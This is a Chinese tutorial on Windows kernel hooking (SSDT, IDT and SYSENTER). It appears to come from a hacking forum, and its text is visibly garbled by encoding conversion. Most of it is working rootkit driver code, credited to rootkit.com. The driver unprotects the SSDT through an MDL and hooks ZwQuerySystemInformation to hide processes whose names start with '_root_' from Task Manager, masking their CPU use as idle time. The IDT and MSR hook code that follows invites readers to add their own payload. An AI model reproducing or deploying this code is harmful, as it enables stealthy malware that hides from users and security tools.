【详细过程】
此次主要说说核心层的hook。包括SSDT-hook,IDT-hook,sysenter-hook。欢迎讨论,指正!内核层须要驱动,有这方面的基础最好,若是不会,了解下其中的思路也能够的。
II. SSDT-hook,IDT-hook,sysenter-hook
一.SSDT-hook
(一)通常思路:
1.先来了解一下,什么是SSDT
SSDT既System Service Dispath Table。在了解他以前,咱们先了解一下NT的基本组建。在 Windows NT 下,NT 的 executive(NTOSKRNL.EXE 的一部分)提供了核心系统服务。各类 Win3二、OS/2 和 POSIX 的 APIs 都是以 DLL 的形式提供的。这些dll中的 APIs 转过来调用了 NT executive 提供的服务。尽管调用了相同的系统服务,但因为子系统不一样,API 函数的函数名也不一样。例如,要用Win32 API 打开一个文件,应用程序会调用 CreateFile(),而要用 POSIX API,则应用程序调用 open() 函数。这两种应用程序最终都会调用 NT executive 中的 NtCreateFile() 系统服务。windows
用户模式(User mode)的全部调用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最终都封装在Ntdll.dll中,而后经过Int 2E或SYSENTER进入到内核模式,经过服务ID,在System Service Dispatcher Table中分派系统函数,举个具体的例子,再以下图api
从上可知,SSDT就是一个表,这个表中有内核调用的函数地址。从上图可见,当用户层调用FindNextFile函数时,最终会调用内核层的NtQueryDirectoryFile函数,而这个函数的地址就在SSDT表中,若是咱们事先把这个地址改为咱们特定函数的地址,那么,哈哈。。。。。。。下来详细了解一下,SSDT的结构,以下图:
SSDT.jpg
SSDT.JPG
KeServiceDescriptorTable:是由内核(Ntoskrnl.exe)导出的一个表,这个表是访问SSDT的关键,具体结构是
typedef struct ServiceDescriptorTable {
PVOID ServiceTableBase;
PVOID ServiceCounterTable(0);
unsigned int NumberOfServices;
PVOID ParamTableBase;
}
其中,
ServiceTableBase System Service Dispatch Table 的基地址。
NumberOfServices 由 ServiceTableBase 描述的服务的数目。
ServiceCounterTable 此域用于操做系统的 checked builds,包含着 SSDT 中每一个服务被调用次数的计数器。这个计数器由 INT 2Eh 处理程序 (KiSystemService)更新。
ParamTableBase 包含每一个系统服务参数字节数表的基地址。
System Service Dispath Table(SSDT):系统服务分发表,给出了服务函数的地址,每一个地址4子节长。
System Service Parameter Table(SSPT):系统服务参数表,定义了对应函数的参数字节,每一个函数对应一个字节。如在0x804AB3BF处的函数需0x18字节的参数。
还有一种这样的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服务,也就是咱们经常使用的和窗口,桌面有关的,具体存在于Win32k.sys。在如图:数据结构
右侧的服务分发就经过KeServiceDescriptorTableShadow。
那么下来该咋办呢?下来就是去改变SSDT所指向的函数,使之指向咱们本身的函数。
2.Hook前的准备-改变SSDT内存的保护
系统对SSDT都是只读的,不能写。若是试图去写,等你的就是蓝脸。通常能够修改内存属性的方法有:经过cr0寄存器及Memory Descriptor List(MDL)。
(1)改变CR0寄存器的第1位
Windows对内存的分配,是采用的分页管理。其中有个CR0寄存器,以下图:
CR0.jpg
cr0.jpg
其中第1位叫作保护属性位,控制着页的读或写属性。若是为1,则能够读/写/执行;若是为0,则只能够读/执行。SSDT,IDT的页属性在默认下都是只读,可执行的,但不能写。因此如今要把这一位设置成1。
(2)经过Memory Descriptor List(MDL)
也就是把原来SSDT的区域映射到咱们本身的MDL区域中,并把这个区域设置成可写。MDL的结构:
typedef struct _MDL {
struct _MDL *Next;
CSHORT Size;
CSHORT MdlFlags; //关键在这里,未来设置成MDL_MAPPED_TO_SYSTEM_VA ,这样一来,这块区域就可写
struct _EPROCESS *Process;
PVOID MappedSystemVa;
PVOID StartVa;
ULONG ByteCount;
ULONG ByteOffset;
} MDL, *PMDL;
首先须要知道KeServiceDscriptorTable的基址和入口数,这样就能够用MmCreateMdl建立一个有起始地址和大小的内存区域。而后把这个MDL结构的flag改为
MDL_MAPPED_TO_SYSTEM_VA ,那么这个区域就能够写了。最后把这个内存区域调用MmMapLockedPages锁定在内存中。大致框架以下:
//先声明一个System Service Descriptor Table,咱们知道SSDT及SSPT都从这个表中指向
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} SSDT_Entry;
#pragma pack()
__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
/
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
// 代码
// 保存原系统调用位置
// 映射咱们的区域
g_pmdlSystemCall = MmCreateMdl(NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// 改变MDL的flags
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
MDL_MAPPED_TO_SYSTEM_VA;
//在内存中索定,不让换出
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
如今遇到的第一个问题解决了,但接着面临另一个问题,如何得到SSDT中函数的地址呢?
3.四个有用的宏
SYSTEMSERVICE macro:能够得到由ntoskrnl.exe导出函数,以Zw*开头函数的地址,这个函数的返回值就是Nt*函数,Nt*函数的地址就在SSDT中
SYSCALL_INDEX macro:得到Zw*函数的地址并返回与之通讯的函数在SSDT中的索引。
这两个宏之因此能工做,是由于全部的Zw*函数都开始于opcode:MOV eax, ULONG,这里的ULONG就是系统调用函数在SSDT中的索引。
HOOK_SYSCALL和UNHOOK_SYSCALL macros:得到Zw*函数的地址,取得他的索引,自动的交换SSDT中索引所对应的函数地址和咱们hook函数的地址。
这四个宏具体是:
#define SYSTEMSERVICE(_func) /
KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) /
_Orig = (PVOID) InterlockedExchange( (PLONG) /
&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define UNHOOK_SYSCALL(_Func, _Hook, _Orig ) /
InterlockedExchange((PLONG) /
&MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)
4.小试牛刀:利用SSDT Hook隐藏进程
咱们所熟知的任务管理器,能察看系统中的全部进程及其余不少信息,这是因为调用了一个叫ZwQuerySystemInformation的内核函数,具体结构是:
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass, //若是这值是5,则表明系统中全部进程信息
IN PVOID SystemInformation, //这就是最终列举出的信息,和上面的值有关
IN ULONG SystemInformationLength, //后两个不重要
OUT PULONG ReturnLength)
若是用咱们本身函数,这个函数能够把咱们关心的进程过滤掉,再把它与原函数调换,则可达到隐藏的目的,大致思路以下:
(1) 突破SSDT的内存保护,如上所用的MDL方法
(2) 实现本身的NewZwQuerySystemInformation函数,过滤掉以某些字符开头的进程
(3) 用上面介绍的宏来交换ZwQuerySystemInformation与咱们本身的New*函数
(4) 卸载New*函数,完成
具体实例:来自Rootkit.com,我作了注释,代码也很精小。
#include "ntddk.h"
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //仅适用于checked build版本
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()app
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
//得到SSDT基址宏
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]框架
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
//得到函数在SSDT中的索引宏
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
//调换本身的hook函数与原系统函数的地址
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) /
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//卸载hook函数
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) /
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)函数
//声明各类结构
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};性能
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};ui
// Added by Creative of rootkit.com
struct _SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER DpcTime;
LARGE_INTEGER InterruptTime;
ULONG InterruptCount;
};spa
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);操作系统
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
// Added by Creative of rootkit.com
LARGE_INTEGER m_UserTime;
LARGE_INTEGER m_KernelTime;
//咱们的hook函数,过滤掉以"_root_"开头的进程
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( NT_SUCCESS(ntStatus))
{
// Asking for a file and directory listing
if(SystemInformationClass == 5)
{
// 列举系统进程链表
// 寻找以"_root_"开头的进程
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
//DbgPrint("Current item is %x/n", curr);
if (curr->ProcessName.Buffer != NULL)
{
if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
{
m_UserTime.QuadPart += curr->UserTime.QuadPart;
m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
if(prev) // Middle or Last entry
{
if(curr->NextEntryDelta)
prev->NextEntryDelta += curr->NextEntryDelta;
else // we are last, so make prev the end
prev->NextEntryDelta = 0;
}
else
{
if(curr->NextEntryDelta)
{
// we are first in the list, so move it forward
(char *)SystemInformation += curr->NextEntryDelta;
}
else // we are the only process!
SystemInformation = NULL;
}
}
}
else // Idle process入口
{
// 把_root_进程的时间加给Idle进程,Idle称空闲时间
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
// 重设时间,为下一次过滤
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
}
prev = curr;
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
else curr = NULL;
}
}
else if (SystemInformationClass == 8) // 列举系统进程时间
{
struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
}
}
return ntStatus;
}
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("ROOTKIT: OnUnload called/n");
// 卸载hook
UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );
// 解索并释放MDL
if(g_pmdlSystemCall)
{
MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
IoFreeMdl(g_pmdlSystemCall);
}
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath)
{
// 注册一个卸载的分发函数,与与应用层沟通
theDriverObject->DriverUnload = OnUnload;
// 初始化全局时间为零
// 这将会解决时间问题,若是不这样,尽管隐藏了进程,但时间的消耗会不变,cpu 100%
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
// 储存旧的函数地址
OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
// 把SSDT隐射到咱们的区域,以便修改它为可写属性
g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// 改变MDL的Flags属性为可写,既然可写固然可读,可执行
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
// 用了宏,把原来的Zw*替换成咱们的New*函数。至此已完成了咱们的主要两步,先突破了SSDT的保护,接着用宏更改了目标函数,下来就剩下具体的过滤任务了 HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation ); return STATUS_SUCCESS; } 二.IDT hook (一)基本思路:IDT(Interrupt Descriptor Table)中断描述符表,是用来处理中断的。中断就是停下如今的活动,去完成新的任务。一个中断能够起源于软件或硬件。好比,出现页错误,调用IDT中的0x0E。或用户进程请求系统服务(SSDT)时,调用IDT中的0x2E。而系统服务的调用是常常的,这个中断就能触发。咱们如今就想办法,先在系统中找到IDT,而后肯定0x2E在IDT中的地址,最后用咱们的函数地址去取代它,这样以来,用户的进程(能够特定设置)一调用系统服务,咱们的hook函数即被激发。 (二)需解决的问题:从上面分析能够看出,咱们大概须要解决这几个问题: 1.IDT如何获取呢?SIDT指令能够办到,它能够在内存中找到IDT,返回一个IDTINFO结构的地址。这个结构中就含有IDT的高半地址和低半地址。为了方便把这两个半地址合在一块儿,咱们能够用一个宏。IDTINFO,和宏的结构以下: typedef struct { WORD IDTLimit; WORD LowIDTbase; //IDT的低半地址 WORD HiIDTbase; //IDT的高半地址 } IDTINFO; 方便获取地址存取的宏 #define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))<< 16)) 2.IDT有最多256个入口,咱们如今要的是其中的0x2E,这个中断号的入口地址如何获取呢? #pragma pack(1) typedef struct { WORD LowOffset; //入口的低半地址 WORD selector; BYTE unused_lo; unsigned char unused_hi:5; // stored TYPE ? unsigned char DPL:2; unsigned char P:1; // vector is present WORD HiOffset; //入口地址的低半地址 } IDTENTRY; #pragma pack() 知道了这个入口结构,就至关于知道了每间房(能够把IDT看做是一排有256间房组成的线性结构)的长度,咱们先获取全部的入口idt_entrys,那么第0x2E个房间的地址也就能够肯定了,即idt_entrys[0x2E]。 3.若是获得了0x2e的地址,如何用咱们的hook地址改写原中断地址呢? 见如下核心代码: DWORD KiRealSystemServiceISR_Ptr; // 真正的2E句柄,保存以便恢复hook #define NT_SYSTEM_SERVICE_INT 0x2e //咱们的hook函数 int HookInterrupts() { IDTINFO idt_info; //SIDT将返回的结构 IDTENTRY* idt_entries; //IDT的全部入口 IDTENTRY* int2e_entry; //咱们目标的入口 __asm{ sidt idt_info; //获取IDTINFO } //获取全部的入口 idt_entries = (IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase); //保存真实的2e地址 KiRealSystemServiceISR_Ptr = MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset, idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset); //获取0x2E的入口地址 int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]); __asm{ cli; // 屏蔽中断,防止被打扰 lea eax,MyKiSystemService; // 得到咱们hook函数的地址,保存在eax mov ebx, int2e_entry; // 0x2E在IDT中的地址,ebx中分地高两个半地址 mov [ebx],ax; // 把咱们hook函数的地半地址写入真是第半地址 shr eax,16 //eax右移16,获得高半地址 mov [ebx+6],ax; // 写入高半地址 sti; //开中断 } return 0; } 具体代码见:www.rootkit.com/vault/fuzen_op/strace_Fuzen.zip (三)注意点: 1.每一个处理器都有个IDT,因此对于多CPU必定要注意,全部的IDT都要hook。 2.在winxp,win2k3,vsta下失效。 三.SYSENTRY hook 为了性能的考虑,xp后的系统都改用sysentry命令来进入ring0,去调用SSDT中的服务,再也不是经过IDT中的 int 2E。这也使得咱们hook也变得相对容易了。 首先得到sysentry的地址,而后改之,不用再考虑IDT了。见下面的代码: #include "ntddk.h" ULONG d_origKiFastCallEntry; // 原ntoskrnl!KiFastCallEntry地址 VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) { DbgPrint("ROOTKIT: OnUnload called/n"); } // Hook function __declspec(naked) MyKiFastCallEntry() { __asm { jmp [d_origKiFastCallEntry] //这啥都没作,换成你想干的 } } NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ) { theDriverObject->DriverUnload = OnUnload; __asm { mov ecx, 0x176 rdmsr // 读IA3_SYSENTER_EIP寄存器值,存有sysenter的地址 mov d_origKiFastCallEntry, eax //保存原值,以便恢复 mov eax, MyKiFastCallEntry // hook函数地址 wrmsr // 将hook函数移入IA32_SYSENTER_EIP寄存器 } return STATUS_SUCCESS; } 基本的改变数据结构的hook就说到这里,固然还有DKOM这种高级的技术,有兴趣的本身去看看吧。 by LvG(吕歌) 参考文献:<<Rootkits: Subverting the Windows Kernel >> rootkit.com <<widows internels>> <<Undocumented NT>>